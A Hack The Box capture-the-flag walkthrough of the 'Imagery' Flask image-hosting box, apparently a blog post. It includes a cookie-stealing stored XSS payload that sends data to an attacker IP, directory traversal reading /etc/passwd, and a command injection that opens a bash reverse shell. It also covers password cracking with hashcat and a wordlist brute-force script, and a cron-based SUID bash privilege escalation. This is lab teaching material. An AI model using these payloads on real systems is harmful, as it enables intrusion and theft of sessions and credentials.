Skip to content

Hack The Box | Imagery

In this walkthrough, we will be going through the Imagery box on Hack The Box.

Room Banner

Successfully Pwned Imagery

Completed and pwned this challenge on Hack The Box.

Owned

Hack The Box

Pwned

Machine Overview

The target machine hosts an image management web application built using the Flask framework. Through web and network enumeration, multiple vulnerabilities were identified, leading to initial access via command injection and subsequent privilege escalation through abuse of a custom backup tool with cron integration.

Enumeration

Nmap Scan

bash
nmap -A -oN nmap.txt 10.10.11.88

Open Ports:

bash
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http-alt Werkzeug/3.1.3 Python/3.12.7
  • Port 8000 hosts a web application running Flask 3.1.3.
  • Port 22 is available for SSH access.

Web Enumeration

Initial Recon

Navigating to http://10.10.11.88:8000/ reveals an image uploading service with the ability to:

  • Register/login users.
  • Upload and manage images.
  • Submit bug reports via a "Report Bug" page.

Home Page

Technology Stack (via Wappalyzer):

  • Flask 3.1.3 (Python backend)
  • Werkzeug (WSGI server)
  • DOMPurify (client-side input sanitization)

Wappalyzer

Client-Side Input Sanitization Analysis

The application uses DOMPurify for sanitizing user input on most pages, including:

  • Login
  • Registration
  • Image upload

However, the "Report Bug" page lacks DOMPurify sanitization, exposing it to Cross-Site Scripting (XSS).

Vulability: Stored XSS

Vulnerability: Stored XSS

Payload:

html
<img src=x onerror=fetch('http://10.10.16.2:8080?cookie='+btoa(document.cookie))>

Using a Python HTTP server to collect the cookie:

bash
python3 -m http.server 8080

Captured request from the victim (admin browser):

bash
::ffff:10.10.11.88 - - [30/Sep/2025 18:52:10] "GET /?cookie=...base64..." HTTP/1.1" 200 -

Decoded Cookie:

bash
echo "..." | base64 -d

Using the stolen session cookie, access to the admin dashboard is achieved.

Admin Dashboard

Admin Dashboard

The admin panel allows download of user login logs via the following endpoint:

http
GET /admin/get_system_log?log_identifier=<value>

Vulnerability: Local File Inclusion (LFI)

Basic directory traversal payloads can retrieve sensitive files:

Example:

http
GET /admin/get_system_log?log_identifier=../../../../etc/passwd

Output:

root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash

Source Code Disclosure via LFI

Leaking app.py and config.py via the LFI allows mapping of:

  • App logic
  • Import structure
  • Sensitive configurations

Relevant files loaded via app.py:

python
from config import *
from utils import *
from api_admin import bp_admin
# ...

From config.py, we retrieve:

python
DATA_STORE_PATH = "db.json"

This leads to disclosure of application user data.

Sample user data (from db.json):

json
{
  "username": "testuser@imagery.htb",
  "password": "2c65c8d7bfbca32a3ed42596192384f6",
  "isTestuser": true
}

Exploitation: Command Injection via Flask Route

Vulnerable Endpoint

Route: /apply_visual_transform File: api_edit.py

Function: apply_visual_transform() performs image manipulation using ImageMagick. The crop operation uses the following command:

python
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"

Key Issue: The command is passed to subprocess.run() with shell=True, making it vulnerable to command injection via the y parameter.

Exploitation Steps

1. Cracking the Test User's Password

Using Hashcat and rockyou.txt:

bash
hashcat -m 0 2c65c8d7bfbca32a3ed42596192384f6 /usr/share/wordlists/rockyou.txt

Result:

bash
2c65c8d7bfbca32a3ed42596192384f6:iambatman

2. Reverse Shell Payload via Crop Parameters

Upload a test image. Then, use the following curl request to trigger a reverse shell:

bash
curl -X POST -H "Content-Type: application/json" \
-d '{
  "imageId": "fe3ed185-2ca3-43a4-837e-0f21bb0fddb3",
  "transformType": "crop",
  "params": {
    "x": "0",
    "y": "0; bash -c '\''bash -i >& /dev/tcp/10.10.16.2/4444 0>&1'\'' ; #",
    "width": "100",
    "height": "100"
  }
}' \
--cookie "session=<valid_session_cookie>" \
http://10.10.11.88:8000/apply_visual_transform

On the attacker's machine:

bash
nc -lvp 4444

Successful shell:

bash
bash-5.2$ id
uid=1001(web) gid=1001(web) groups=1001(web)

Privilege Escalation: web → mark

Discovery: Encrypted Backup File

In /var/backup/:

bash
web_20250806_120723.zip.aes

Brute-force AES Decryption

Using pyAesCrypt and a wordlist:

python
import pyAesCrypt
for line in open("/usr/share/wordlists/rockyou.txt"):
    password = line.strip()
    try:
        pyAesCrypt.decryptFile("web_20250806_120723.zip.aes", "output.zip", password)
        print(f"[+] Password found: {password}")
        break
    except:
        continue

Recovered Password: bestfriends

Extracting Credentials

Unzipped db.json contains:

json
{
    "username": "mark@imagery.htb",
    "password": "01c3d2e5bdaf6134cec0a367cf53e535"
}

Crack using Hashcat:

bash
hashcat -m 0 01c3d2e5bdaf6134cec0a367cf53e535 /usr/share/wordlists/rockyou.txt

Password: supersmash

Switch user:

bash
su mark
bash
uid=1002(mark) gid=1002(mark) groups=1002(mark)

Privilege Escalation: mark → root

Sudo Rights

bash
sudo -l
bash
(ALL) NOPASSWD: /usr/local/bin/charcol

Binary Analysis: charcol

charcol is a custom CLI backup utility with the ability to:

  • Create and encrypt archives
  • Add cron jobs via charcol auto add

Abuse: Adding a Cron Job for Root Shell

bash
sudo charcol auto add --schedule "*/1 * * * *" \
--command "chmod +s /bin/bash" --name "root_shell"

Wait for the cron job to execute (within a minute).

Spawn Root Shell

bash
/bin/bash -p
bash-5.2# id
uid=1002(mark) gid=1002(mark) euid=0(root) egid=0(root) groups=0(root),1002(mark)

We get a root shell.

User/Root flags

  • User Flag: /home/mark/user.txt
  • Root Flag: /root/root.txt